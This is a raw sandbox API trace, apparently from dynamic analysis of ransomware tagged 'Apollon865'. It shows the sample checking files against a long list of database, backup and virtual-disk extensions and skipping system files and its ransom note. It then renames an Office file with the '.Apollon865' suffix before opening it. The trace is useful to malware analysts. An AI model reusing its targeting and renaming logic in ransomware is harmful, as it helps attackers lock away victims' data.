	[0066.722] lstrcmpiW (lpString1="POC", lpString2="fp4") returned 1
	[0066.722] lstrlenW (lpString="fp5") returned 3
	[0066.722] lstrcmpiW (lpString1="POC", lpString2="fp5") returned 1
	[0066.722] lstrlenW (lpString="fp7") returned 3
	[0066.722] lstrcmpiW (lpString1="POC", lpString2="fp7") returned 1
	[0066.722] lstrlenW (lpString="fpt") returned 3
	[0066.722] lstrcmpiW (lpString1="POC", lpString2="fpt") returned 1
	[0066.722] lstrlenW (lpString="frm") returned 3
	[0066.722] lstrcmpiW (lpString1="POC", lpString2="frm") returned 1
	[0066.722] lstrlenW (lpString="gdb") returned 3
	[0066.722] lstrcmpiW (lpString1="POC", lpString2="gdb") returned 1
	[0066.722] lstrlenW (lpString="gdb") returned 3
	[0066.722] lstrcmpiW (lpString1="POC", lpString2="gdb") returned 1
	[0066.722] lstrlenW (lpString="grdb") returned 4
	[0066.722] lstrcmpiW (lpString1=".POC", lpString2="grdb") returned -1
	[0066.722] lstrlenW (lpString="gwi") returned 3
	[0066.722] lstrcmpiW (lpString1="POC", lpString2="gwi") returned 1
	[0066.722] lstrlenW (lpString="hdb") returned 3
	[0066.722] lstrcmpiW (lpString1="POC", lpString2="hdb") returned 1
	[0066.722] lstrlenW (lpString="his") returned 3
	[0066.722] lstrcmpiW (lpString1="POC", lpString2="his") returned 1
	[0066.722] lstrlenW (lpString="ib") returned 2
	[0066.722] lstrcmpiW (lpString1="OC", lpString2="ib") returned 1
	[0066.722] lstrlenW (lpString="idb") returned 3
	[0066.723] lstrcmpiW (lpString1="POC", lpString2="idb") returned 1
	[0066.723] lstrlenW (lpString="ihx") returned 3
	[0066.723] lstrcmpiW (lpString1="POC", lpString2="ihx") returned 1
	[0066.723] lstrlenW (lpString="itdb") returned 4
	[0066.723] lstrcmpiW (lpString1=".POC", lpString2="itdb") returned -1
	[0066.723] lstrlenW (lpString="itw") returned 3
	[0066.723] lstrcmpiW (lpString1="POC", lpString2="itw") returned 1
	[0066.723] lstrlenW (lpString="jet") returned 3
	[0066.723] lstrcmpiW (lpString1="POC", lpString2="jet") returned 1
	[0066.723] lstrlenW (lpString="jtx") returned 3
	[0066.723] lstrcmpiW (lpString1="POC", lpString2="jtx") returned 1
	[0066.723] lstrlenW (lpString="kdb") returned 3
	[0066.723] lstrcmpiW (lpString1="POC", lpString2="kdb") returned 1
	[0066.723] lstrlenW (lpString="kexi") returned 4
	[0066.723] lstrcmpiW (lpString1=".POC", lpString2="kexi") returned -1
	[0066.723] lstrlenW (lpString="kexic") returned 5
	[0066.723] lstrcmpiW (lpString1="M.POC", lpString2="kexic") returned 1
	[0066.723] lstrlenW (lpString="kexis") returned 5
	[0066.723] lstrcmpiW (lpString1="M.POC", lpString2="kexis") returned 1
	[0066.723] lstrlenW (lpString="lgc") returned 3
	[0066.723] lstrcmpiW (lpString1="POC", lpString2="lgc") returned 1
	[0066.723] lstrlenW (lpString="lwx") returned 3
	[0066.723] lstrcmpiW (lpString1="POC", lpString2="lwx") returned 1
	[0066.723] lstrlenW (lpString="maf") returned 3
	[0066.723] lstrcmpiW (lpString1="POC", lpString2="maf") returned 1
	[0066.723] lstrlenW (lpString="maq") returned 3
	[0066.723] lstrcmpiW (lpString1="POC", lpString2="maq") returned 1
	[0066.723] lstrlenW (lpString="mar") returned 3
	[0066.723] lstrcmpiW (lpString1="POC", lpString2="mar") returned 1
	[0066.723] lstrlenW (lpString="marshal") returned 7
	[0066.723] lstrcmpiW (lpString1="LHM.POC", lpString2="marshal") returned -1
	[0066.723] lstrlenW (lpString="mas") returned 3
	[0066.723] lstrcmpiW (lpString1="POC", lpString2="mas") returned 1
	[0066.723] lstrlenW (lpString="mav") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="mav") returned 1
	[0066.724] lstrlenW (lpString="maw") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="maw") returned 1
	[0066.724] lstrlenW (lpString="mdbhtml") returned 7
	[0066.724] lstrcmpiW (lpString1="LHM.POC", lpString2="mdbhtml") returned -1
	[0066.724] lstrlenW (lpString="mdn") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="mdn") returned 1
	[0066.724] lstrlenW (lpString="mdt") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="mdt") returned 1
	[0066.724] lstrlenW (lpString="mfd") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="mfd") returned 1
	[0066.724] lstrlenW (lpString="mpd") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="mpd") returned 1
	[0066.724] lstrlenW (lpString="mrg") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="mrg") returned 1
	[0066.724] lstrlenW (lpString="mud") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="mud") returned 1
	[0066.724] lstrlenW (lpString="mwb") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="mwb") returned 1
	[0066.724] lstrlenW (lpString="myd") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="myd") returned 1
	[0066.724] lstrlenW (lpString="ndf") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="ndf") returned 1
	[0066.724] lstrlenW (lpString="nnt") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="nnt") returned 1
	[0066.724] lstrlenW (lpString="nrmlib") returned 6
	[0066.724] lstrcmpiW (lpString1="HM.POC", lpString2="nrmlib") returned -1
	[0066.724] lstrlenW (lpString="ns2") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="ns2") returned 1
	[0066.724] lstrlenW (lpString="ns3") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="ns3") returned 1
	[0066.724] lstrlenW (lpString="ns4") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="ns4") returned 1
	[0066.724] lstrlenW (lpString="nsf") returned 3
	[0066.724] lstrcmpiW (lpString1="POC", lpString2="nsf") returned 1
	[0066.725] lstrlenW (lpString="nv") returned 2
	[0066.725] lstrcmpiW (lpString1="OC", lpString2="nv") returned 1
	[0066.725] lstrlenW (lpString="nv2") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="nv2") returned 1
	[0066.725] lstrlenW (lpString="nwdb") returned 4
	[0066.725] lstrcmpiW (lpString1=".POC", lpString2="nwdb") returned -1
	[0066.725] lstrlenW (lpString="nyf") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="nyf") returned 1
	[0066.725] lstrlenW (lpString="odb") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="odb") returned 1
	[0066.725] lstrlenW (lpString="odb") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="odb") returned 1
	[0066.725] lstrlenW (lpString="oqy") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="oqy") returned 1
	[0066.725] lstrlenW (lpString="ora") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="ora") returned 1
	[0066.725] lstrlenW (lpString="orx") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="orx") returned 1
	[0066.725] lstrlenW (lpString="owc") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="owc") returned 1
	[0066.725] lstrlenW (lpString="p96") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="p96") returned 1
	[0066.725] lstrlenW (lpString="p97") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="p97") returned 1
	[0066.725] lstrlenW (lpString="pan") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="pan") returned 1
	[0066.725] lstrlenW (lpString="pdb") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="pdb") returned 1
	[0066.725] lstrlenW (lpString="pdm") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="pdm") returned 1
	[0066.725] lstrlenW (lpString="pnz") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="pnz") returned 1
	[0066.725] lstrlenW (lpString="qry") returned 3
	[0066.725] lstrcmpiW (lpString1="POC", lpString2="qry") returned -1
	[0066.726] lstrlenW (lpString="qvd") returned 3
	[0066.726] lstrcmpiW (lpString1="POC", lpString2="qvd") returned -1
	[0066.726] lstrlenW (lpString="rbf") returned 3
	[0066.726] lstrcmpiW (lpString1="POC", lpString2="rbf") returned -1
	[0066.726] lstrlenW (lpString="rctd") returned 4
	[0066.726] lstrcmpiW (lpString1=".POC", lpString2="rctd") returned -1
	[0066.726] lstrlenW (lpString="rod") returned 3
	[0066.726] lstrcmpiW (lpString1="POC", lpString2="rod") returned -1
	[0066.726] lstrlenW (lpString="rodx") returned 4
	[0066.726] lstrcmpiW (lpString1=".POC", lpString2="rodx") returned -1
	[0066.726] lstrlenW (lpString="rpd") returned 3
	[0066.726] lstrcmpiW (lpString1="POC", lpString2="rpd") returned -1
	[0066.726] lstrlenW (lpString="rsd") returned 3
	[0066.726] lstrcmpiW (lpString1="POC", lpString2="rsd") returned -1
	[0066.726] lstrlenW (lpString="sas7bdat") returned 8
	[0066.726] lstrcmpiW (lpString1="ALHM.POC", lpString2="sas7bdat") returned -1
	[0066.726] lstrlenW (lpString="sbf") returned 3
	[0066.726] lstrcmpiW (lpString1="POC", lpString2="sbf") returned -1
	[0066.726] lstrlenW (lpString="scx") returned 3
	[0066.726] lstrcmpiW (lpString1="POC", lpString2="scx") returned -1
	[0066.726] lstrlenW (lpString="sdb") returned 3
	[0066.726] lstrcmpiW (lpString1="POC", lpString2="sdb") returned -1
	[0066.726] lstrlenW (lpString="sdc") returned 3
	[0066.726] lstrcmpiW (lpString1="POC", lpString2="sdc") returned -1
	[0066.726] lstrlenW (lpString="sdf") returned 3
	[0066.726] lstrcmpiW (lpString1="POC", lpString2="sdf") returned -1
	[0066.726] lstrlenW (lpString="sis") returned 3
	[0066.726] lstrcmpiW (lpString1="POC", lpString2="sis") returned -1
	[0066.726] lstrlenW (lpString="spq") returned 3
	[0066.726] lstrcmpiW (lpString1="POC", lpString2="spq") returned -1
	[0066.726] lstrlenW (lpString="te") returned 2
	[0066.726] lstrcmpiW (lpString1="OC", lpString2="te") returned -1
	[0066.726] lstrlenW (lpString="teacher") returned 7
	[0066.726] lstrcmpiW (lpString1="LHM.POC", lpString2="teacher") returned -1
	[0066.727] lstrlenW (lpString="tmd") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="tmd") returned -1
	[0066.727] lstrlenW (lpString="tps") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="tps") returned -1
	[0066.727] lstrlenW (lpString="trc") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="trc") returned -1
	[0066.727] lstrlenW (lpString="trc") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="trc") returned -1
	[0066.727] lstrlenW (lpString="trm") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="trm") returned -1
	[0066.727] lstrlenW (lpString="udb") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="udb") returned -1
	[0066.727] lstrlenW (lpString="udl") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="udl") returned -1
	[0066.727] lstrlenW (lpString="usr") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="usr") returned -1
	[0066.727] lstrlenW (lpString="v12") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="v12") returned -1
	[0066.727] lstrlenW (lpString="vis") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="vis") returned -1
	[0066.727] lstrlenW (lpString="vpd") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="vpd") returned -1
	[0066.727] lstrlenW (lpString="vvv") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="vvv") returned -1
	[0066.727] lstrlenW (lpString="wdb") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="wdb") returned -1
	[0066.727] lstrlenW (lpString="wmdb") returned 4
	[0066.727] lstrcmpiW (lpString1=".POC", lpString2="wmdb") returned -1
	[0066.727] lstrlenW (lpString="wrk") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="wrk") returned -1
	[0066.727] lstrlenW (lpString="xdb") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="xdb") returned -1
	[0066.727] lstrlenW (lpString="xld") returned 3
	[0066.727] lstrcmpiW (lpString1="POC", lpString2="xld") returned -1
	[0066.727] lstrlenW (lpString="xmlff") returned 5
	[0066.728] lstrcmpiW (lpString1="M.POC", lpString2="xmlff") returned -1
	[0066.728] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x940b200, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x51c049f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x940b200, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x1a6da2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CALNDR98.POC", cAlternateFileName="")) returned 1
	[0066.728] lstrcmpiW (lpString1="CALNDR98.POC", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.728] lstrcmpiW (lpString1="CALNDR98.POC", lpString2="Apollon865.txt.exe") returned 1
	[0066.728] lstrcmpiW (lpString1="CALNDR98.POC", lpString2=".") returned 1
	[0066.728] lstrcmpiW (lpString1="CALNDR98.POC", lpString2="..") returned 1
	[0066.728] lstrcmpiW (lpString1="CALNDR98.POC", lpString2="windows") returned -1
	[0066.728] lstrcmpiW (lpString1="CALNDR98.POC", lpString2="bootmgr") returned 1
	[0066.728] lstrcmpiW (lpString1="CALNDR98.POC", lpString2="temp") returned -1
	[0066.728] lstrcmpiW (lpString1="CALNDR98.POC", lpString2="pagefile.sys") returned -1
	[0066.728] lstrcmpiW (lpString1="CALNDR98.POC", lpString2="boot") returned 1
	[0066.728] lstrcmpiW (lpString1="CALNDR98.POC", lpString2="ids.txt") returned -1
	[0066.729] lstrcmpiW (lpString1="CALNDR98.POC", lpString2="ntuser.dat") returned -1
	[0066.729] lstrcmpiW (lpString1="CALNDR98.POC", lpString2="perflogs") returned -1
	[0066.729] lstrcmpiW (lpString1="CALNDR98.POC", lpString2="MSBuild") returned -1
	[0066.729] lstrlenW (lpString="CALNDR98.POC") returned 12
	[0066.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CALHM.POC") returned 59
	[0066.729] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CALNDR98.POC" | out: lpString1="CALNDR98.POC") returned="CALNDR98.POC"
	[0066.729] lstrlenW (lpString="CALNDR98.POC") returned 12
	[0066.729] lstrlenW (lpString="Apollon865") returned 10
	[0066.729] lstrcmpiW (lpString1="LNDR98.POC", lpString2="Apollon865") returned 1
	[0066.729] lstrlenW (lpString=".dll") returned 4
	[0066.729] lstrcmpiW (lpString1="CALNDR98.POC", lpString2=".dll") returned 1
	[0066.729] lstrlenW (lpString=".lnk") returned 4
	[0066.729] lstrcmpiW (lpString1="CALNDR98.POC", lpString2=".lnk") returned 1
	[0066.729] lstrlenW (lpString=".ini") returned 4
	[0066.729] lstrcmpiW (lpString1="CALNDR98.POC", lpString2=".ini") returned 1
	[0066.729] lstrlenW (lpString=".sys") returned 4
	[0066.729] lstrcmpiW (lpString1="CALNDR98.POC", lpString2=".sys") returned 1
	[0066.729] lstrlenW (lpString="CALNDR98.POC") returned 12
	[0066.729] lstrlenW (lpString="bak") returned 3
	[0066.729] lstrcmpiW (lpString1="POC", lpString2="bak") returned 1
	[0066.729] lstrlenW (lpString="ba_") returned 3
	[0066.729] lstrcmpiW (lpString1="POC", lpString2="ba_") returned 1
	[0066.729] lstrlenW (lpString="dbb") returned 3
	[0066.729] lstrcmpiW (lpString1="POC", lpString2="dbb") returned 1
	[0066.729] lstrlenW (lpString="vmdk") returned 4
	[0066.729] lstrcmpiW (lpString1=".POC", lpString2="vmdk") returned -1
	[0066.729] lstrlenW (lpString="rar") returned 3
	[0066.729] lstrcmpiW (lpString1="POC", lpString2="rar") returned -1
	[0066.729] lstrlenW (lpString="zip") returned 3
	[0066.729] lstrcmpiW (lpString1="POC", lpString2="zip") returned -1
	[0066.729] lstrlenW (lpString="tgz") returned 3
	[0066.729] lstrcmpiW (lpString1="POC", lpString2="tgz") returned -1
	[0066.729] lstrlenW (lpString="vbox") returned 4
	[0066.730] lstrcmpiW (lpString1=".POC", lpString2="vbox") returned -1
	[0066.730] lstrlenW (lpString="vdi") returned 3
	[0066.730] lstrcmpiW (lpString1="POC", lpString2="vdi") returned -1
	[0066.730] lstrlenW (lpString="vhd") returned 3
	[0066.730] lstrcmpiW (lpString1="POC", lpString2="vhd") returned -1
	[0066.730] lstrlenW (lpString="vhdx") returned 4
	[0066.730] lstrcmpiW (lpString1=".POC", lpString2="vhdx") returned -1
	[0066.730] lstrlenW (lpString="avhd") returned 4
	[0066.730] lstrcmpiW (lpString1=".POC", lpString2="avhd") returned -1
	[0066.730] lstrlenW (lpString="db") returned 2
	[0066.730] lstrcmpiW (lpString1="OC", lpString2="db") returned 1
	[0066.730] lstrlenW (lpString="db2") returned 3
	[0066.730] lstrcmpiW (lpString1="POC", lpString2="db2") returned 1
	[0066.730] lstrlenW (lpString="db3") returned 3
	[0066.730] lstrcmpiW (lpString1="POC", lpString2="db3") returned 1
	[0066.730] lstrlenW (lpString="dbf") returned 3
	[0066.730] lstrcmpiW (lpString1="POC", lpString2="dbf") returned 1
	[0066.730] lstrlenW (lpString="mdf") returned 3
	[0066.730] lstrcmpiW (lpString1="POC", lpString2="mdf") returned 1
	[0066.730] lstrlenW (lpString="mdb") returned 3
	[0066.730] lstrcmpiW (lpString1="POC", lpString2="mdb") returned 1
	[0066.730] lstrlenW (lpString="sql") returned 3
	[0066.730] lstrcmpiW (lpString1="POC", lpString2="sql") returned -1
	[0066.730] lstrlenW (lpString="sqlite") returned 6
	[0066.730] lstrcmpiW (lpString1="98.POC", lpString2="sqlite") returned -1
	[0066.730] lstrlenW (lpString="sqlite3") returned 7
	[0066.730] lstrcmpiW (lpString1="R98.POC", lpString2="sqlite3") returned -1
	[0066.730] lstrlenW (lpString="sqlitedb") returned 8
	[0066.730] lstrcmpiW (lpString1="DR98.POC", lpString2="sqlitedb") returned -1
	[0066.730] lstrlenW (lpString="xml") returned 3
	[0066.730] lstrcmpiW (lpString1="POC", lpString2="xml") returned -1
	[0066.730] lstrlenW (lpString="$er") returned 3
	[0066.730] lstrcmpiW (lpString1="POC", lpString2="$er") returned 1
	[0066.730] lstrlenW (lpString="4dd") returned 3
	[0066.730] lstrcmpiW (lpString1="POC", lpString2="4dd") returned 1
	[0066.731] lstrlenW (lpString="4dl") returned 3
	[0066.731] lstrcmpiW (lpString1="POC", lpString2="4dl") returned 1
	[0066.731] lstrlenW (lpString="^^^") returned 3
	[0066.731] lstrcmpiW (lpString1="POC", lpString2="^^^") returned 1
	[0066.731] lstrlenW (lpString="abs") returned 3
	[0066.731] lstrcmpiW (lpString1="POC", lpString2="abs") returned 1
	[0066.731] lstrlenW (lpString="abx") returned 3
	[0066.731] lstrcmpiW (lpString1="POC", lpString2="abx") returned 1
	[0066.731] lstrlenW (lpString="accdb") returned 5
	[0066.731] lstrcmpiW (lpString1="8.POC", lpString2="accdb") returned -1
	[0066.731] lstrlenW (lpString="accdc") returned 5
	[0066.731] lstrcmpiW (lpString1="8.POC", lpString2="accdc") returned -1
	[0066.731] lstrlenW (lpString="accde") returned 5
	[0066.731] lstrcmpiW (lpString1="8.POC", lpString2="accde") returned -1
	[0066.731] lstrlenW (lpString="accdr") returned 5
	[0066.731] lstrcmpiW (lpString1="8.POC", lpString2="accdr") returned -1
	[0066.731] lstrlenW (lpString="accdt") returned 5
	[0066.731] lstrcmpiW (lpString1="8.POC", lpString2="accdt") returned -1
	[0066.731] lstrlenW (lpString="accdw") returned 5
	[0066.731] lstrcmpiW (lpString1="8.POC", lpString2="accdw") returned -1
	[0066.731] lstrlenW (lpString="accft") returned 5
	[0066.731] lstrcmpiW (lpString1="8.POC", lpString2="accft") returned -1
	[0066.731] lstrlenW (lpString="adb") returned 3
	[0066.731] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.731] lstrlenW (lpString="adb") returned 3
	[0066.731] lstrcmpiW (lpString1="POC", lpString2="adb") returned 1
	[0066.731] lstrlenW (lpString="ade") returned 3
	[0066.731] lstrcmpiW (lpString1="POC", lpString2="ade") returned 1
	[0066.731] lstrlenW (lpString="adf") returned 3
	[0066.731] lstrcmpiW (lpString1="POC", lpString2="adf") returned 1
	[0066.731] lstrlenW (lpString="adn") returned 3
	[0066.731] lstrcmpiW (lpString1="POC", lpString2="adn") returned 1
	[0066.731] lstrlenW (lpString="adp") returned 3
	[0066.731] lstrcmpiW (lpString1="POC", lpString2="adp") returned 1
	[0066.732] lstrlenW (lpString="alf") returned 3
	[0066.732] lstrcmpiW (lpString1="POC", lpString2="alf") returned 1
	[0066.732] lstrlenW (lpString="ask") returned 3
	[0066.732] lstrcmpiW (lpString1="POC", lpString2="ask") returned 1
	[0066.732] lstrlenW (lpString="btr") returned 3
	[0066.732] lstrcmpiW (lpString1="POC", lpString2="btr") returned 1
	[0066.732] lstrlenW (lpString="cat") returned 3
	[0066.732] lstrcmpiW (lpString1="POC", lpString2="cat") returned 1
	[0066.732] lstrlenW (lpString="cdb") returned 3
	[0066.732] lstrcmpiW (lpString1="POC", lpString2="cdb") returned 1
	[0066.732] lstrlenW (lpString="ckp") returned 3
	[0066.732] lstrcmpiW (lpString1="POC", lpString2="ckp") returned 1
	[0066.732] lstrlenW (lpString="cma") returned 3
	[0066.732] lstrcmpiW (lpString1="POC", lpString2="cma") returned 1
	[0066.732] lstrlenW (lpString="cpd") returned 3
	[0066.732] lstrcmpiW (lpString1="POC", lpString2="cpd") returned 1
	[0066.732] lstrlenW (lpString="dacpac") returned 6
	[0066.732] lstrcmpiW (lpString1="98.POC", lpString2="dacpac") returned -1
	[0066.732] lstrlenW (lpString="dad") returned 3
	[0066.732] lstrcmpiW (lpString1="POC", lpString2="dad") returned 1
	[0066.732] lstrlenW (lpString="dadiagrams") returned 10
	[0066.732] lstrcmpiW (lpString1="LNDR98.POC", lpString2="dadiagrams") returned 1
	[0066.732] lstrlenW (lpString="daschema") returned 8
	[0066.732] lstrcmpiW (lpString1="DR98.POC", lpString2="daschema") returned 1
	[0066.732] lstrlenW (lpString="db-journal") returned 10
	[0066.732] lstrcmpiW (lpString1="LNDR98.POC", lpString2="db-journal") returned 1
	[0066.732] lstrlenW (lpString="db-shm") returned 6
	[0066.732] lstrcmpiW (lpString1="98.POC", lpString2="db-shm") returned -1
	[0066.732] lstrlenW (lpString="db-wal") returned 6
	[0066.732] lstrcmpiW (lpString1="98.POC", lpString2="db-wal") returned -1
	[0066.732] lstrlenW (lpString="dbc") returned 3
	[0066.732] lstrcmpiW (lpString1="POC", lpString2="dbc") returned 1
	[0066.732] lstrlenW (lpString="dbs") returned 3
	[0066.732] lstrcmpiW (lpString1="POC", lpString2="dbs") returned 1
	[0066.733] lstrlenW (lpString="dbt") returned 3
	[0066.733] lstrcmpiW (lpString1="POC", lpString2="dbt") returned 1
	[0066.733] lstrlenW (lpString="dbv") returned 3
	[0066.733] lstrcmpiW (lpString1="POC", lpString2="dbv") returned 1
	[0066.733] lstrlenW (lpString="dbx") returned 3
	[0066.733] lstrcmpiW (lpString1="POC", lpString2="dbx") returned 1
	[0066.733] lstrlenW (lpString="dcb") returned 3
	[0066.733] lstrcmpiW (lpString1="POC", lpString2="dcb") returned 1
	[0066.733] lstrcmpiW (lpString1="POC", lpString2="dct") returned 1
	[0066.733] lstrcmpiW (lpString1="POC", lpString2="dcx") returned 1
	[0066.733] lstrcmpiW (lpString1="POC", lpString2="ddl") returned 1
	[0066.733] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CALSO11.POC" | out: lpString1="CALSO11.POC") returned="CALSO11.POC"
	[0066.733] lstrlenW (lpString="CALSO11.POC") returned 11
	[0066.733] lstrlenW (lpString="Apollon865") returned 10
	[0066.733] lstrcmpiW (lpString1="ALSO11.POC", lpString2="Apollon865") returned -1
	[0066.733] lstrlenW (lpString=".dll") returned 4
	[0066.733] lstrcmpiW (lpString1="CALSO11.POC", lpString2=".dll") returned 1
	[0066.733] lstrlenW (lpString=".lnk") returned 4
	[0066.733] lstrcmpiW (lpString1="CALSO11.POC", lpString2=".lnk") returned 1
	[0066.733] lstrlenW (lpString=".ini") returned 4
	[0066.733] lstrcmpiW (lpString1="CALSO11.POC", lpString2=".ini") returned 1
	[0066.733] lstrlenW (lpString=".sys") returned 4
	[0066.733] lstrcmpiW (lpString1="CALSO11.POC", lpString2=".sys") returned 1
	[0066.733] lstrlenW (lpString="CALSO11.POC") returned 11
	[0066.734] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CALSO98.POC" | out: lpString1="CALSO98.POC") returned="CALSO98.POC"
	[0066.734] lstrlenW (lpString="CALSO98.POC") returned 11
	[0066.734] lstrlenW (lpString="Apollon865") returned 10
	[0066.734] lstrcmpiW (lpString1="ALSO98.POC", lpString2="Apollon865") returned -1
	[0066.734] lstrlenW (lpString=".dll") returned 4
	[0066.734] lstrcmpiW (lpString1="CALSO98.POC", lpString2=".dll") returned 1
	[0066.734] lstrlenW (lpString=".lnk") returned 4
	[0066.734] lstrcmpiW (lpString1="CALSO98.POC", lpString2=".lnk") returned 1
	[0066.734] lstrlenW (lpString=".ini") returned 4
	[0066.734] lstrcmpiW (lpString1="CALSO98.POC", lpString2=".ini") returned 1
	[0066.734] lstrlenW (lpString=".sys") returned 4
	[0066.734] lstrcmpiW (lpString1="CALSO98.POC", lpString2=".sys") returned 1
	[0066.734] lstrlenW (lpString="CALSO98.POC") returned 11
	[0066.734] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CATALOG.DPV" | out: lpString1="CATALOG.DPV") returned="CATALOG.DPV"
	[0066.734] lstrlenW (lpString="CATALOG.DPV") returned 11
	[0066.734] lstrlenW (lpString="Apollon865") returned 10
	[0066.734] lstrcmpiW (lpString1="ATALOG.DPV", lpString2="Apollon865") returned 1
	[0066.734] lstrlenW (lpString=".dll") returned 4
	[0066.734] lstrcmpiW (lpString1="CATALOG.DPV", lpString2=".dll") returned 1
	[0066.734] lstrlenW (lpString=".lnk") returned 4
	[0066.734] lstrcmpiW (lpString1="CATALOG.DPV", lpString2=".lnk") returned 1
	[0066.734] lstrlenW (lpString=".ini") returned 4
	[0066.734] lstrcmpiW (lpString1="CATALOG.DPV", lpString2=".ini") returned 1
	[0066.734] lstrlenW (lpString=".sys") returned 4
	[0066.734] lstrcmpiW (lpString1="CATALOG.DPV", lpString2=".sys") returned 1
	[0066.734] lstrlenW (lpString="CATALOG.DPV") returned 11
	[0066.734] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="CATALOG.XML" | out: lpString1="CATALOG.XML") returned="CATALOG.XML"
	[0066.734] lstrlenW (lpString="CATALOG.XML") returned 11
	[0066.734] lstrlenW (lpString="Apollon865") returned 10
	[0066.735] lstrcmpiW (lpString1="ATALOG.XML", lpString2="Apollon865") returned 1
	[0066.735] lstrlenW (lpString=".dll") returned 4
	[0066.735] lstrcmpiW (lpString1="CATALOG.XML", lpString2=".dll") returned 1
	[0066.735] lstrlenW (lpString=".lnk") returned 4
	[0066.735] lstrcmpiW (lpString1="CATALOG.XML", lpString2=".lnk") returned 1
	[0066.735] lstrlenW (lpString=".ini") returned 4
	[0066.735] lstrcmpiW (lpString1="CATALOG.XML", lpString2=".ini") returned 1
	[0066.735] lstrlenW (lpString=".sys") returned 4
	[0066.735] lstrcmpiW (lpString1="CATALOG.XML", lpString2=".sys") returned 1
	[0066.735] lstrlenW (lpString="CATALOG.XML") returned 11
	[0066.735] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML.Apollon865") returned 72
	[0066.735] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\CATALOG.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\catalog.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.736] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=7766) returned 1
	[0066.736] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0066.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0066.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
